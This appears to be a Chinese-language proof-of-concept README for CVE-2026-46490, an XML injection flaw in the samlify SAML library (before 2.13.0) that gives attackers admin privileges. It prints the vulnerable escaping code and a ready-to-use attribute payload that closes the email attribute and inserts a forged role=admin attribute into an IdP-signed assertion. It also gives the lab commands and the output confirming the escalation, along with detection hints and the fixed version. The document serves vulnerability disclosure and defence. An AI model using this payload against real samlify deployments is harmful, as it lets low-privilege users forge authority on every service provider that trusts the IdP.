CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML注入 -> 已签名断言权限提升。自包含PoC,已验证端到端。
AttributeValue XML 注入 → 权限提升samlify
< 2.13.0仅在属性上下文中对模板替换进行转义。用户可控的值(例如name)被放入元素文本 —<saml:AttributeValue>{Value}</saml:AttributeValue>— 时被未经转义地插入,因此普通用户可以向其自身、IdP签名的 SAML 断言中注入额外的<saml:Attribute>元素(例如role=admin)。由于注入发生在签名之前,服务提供商的签名检查通过,并会将伪造的属性视为权威属性。
| CVE | CVE-2026-46490 |
| 公告 | GHSA-34r5-q4jw-r36m |
| 受影响 | samlify < 2.13.0 |
| 已修复 | 2.13.0 |
| 漏洞类别 | CWE-91(XML 注入)→ 权限提升 |
| CVSS | 8.8(高) |
| 认证 | 已认证的低权限用户(控制其自身的一个属性值) |
| 状态 | 已确认 — 通过 [email protected] 完整复现 IdP→SP 链 |
src/libsaml.ts 通过 replaceTagsByValue → escapeTag 替换 {tag} 占位符:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// “没有引号意味着此插值不是用于属性,因此不需要转义”
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- 元素文本:无转义
};
}
正则表达式捕获一个可选的前置 " 作为 quote。在属性上下文中(Name="{Name}")quote 被设置,值被 xmlEscape;在元素文本中(>{attrEmail}<)没有前置引号,因此值被原样输出。
默认属性模板将值放入元素文本:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
因此,一个包含 </> 的受攻击者控制的属性值会注入原始 XML。
攻击者设置其自身的某个配置文件属性(此处为 email)为:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
这会闭合 email 属性,添加一个伪造的 role=admin 属性,并重新打开一个占位属性,以便模板末尾的 </saml:AttributeValue></saml:Attribute> 保持平衡。IdP 随后签名断言 —— 包含伪造的属性。一个符合标准的 SP 会验证签名(有效)并读取 role=admin。
cd lab && ./setup.sh # npm i [email protected] + 生成 IdP/SP 密钥对
node poc.js
输出:
>>> 注入确认:伪造的 <saml:Attribute Name="role">admin 被偷偷注入到已签名的断言中
提取的属性:{"email":"[email protected]","role":"admin","ignore":[]}
>>> 权限提升确认:SP 接受了一个签名有效的断言,授予了 role=admin
PoC 驱动 samlify 自身的 IdP(createLoginResponse 执行存在漏洞的 replaceTagsByValue 替换并签名)和 SP(parseLoginResponse 验证签名并提取属性)。SP 暴露出 role: "admin" —— 这是攻击者伪造的属性,而非 IdP 意图颁发的属性。
任何能够在基于 samlify 的 IdP 上影响其自身某个 SAML 属性值(电子邮件、显示名称等)的用户,都可以构造一个有效签名的断言,携带任意附加属性 —— 组/角色成员身份、授权、isAdmin 标志 —— 并在所有信任该 IdP 的 SP 上提升权限。SAML 签名验证无济于事:伪造发生在签名的范围内。
检查已签发/消费的断言中属性值是否包含 XML 标记(</saml:AttributeValue>、<saml:Attribute),以及断言中是否包含多于 IdP 模板定义的 <saml:Attribute> 元素。
参见 ANALYSIS.md 了解替换正则、引号启发式以及补丁。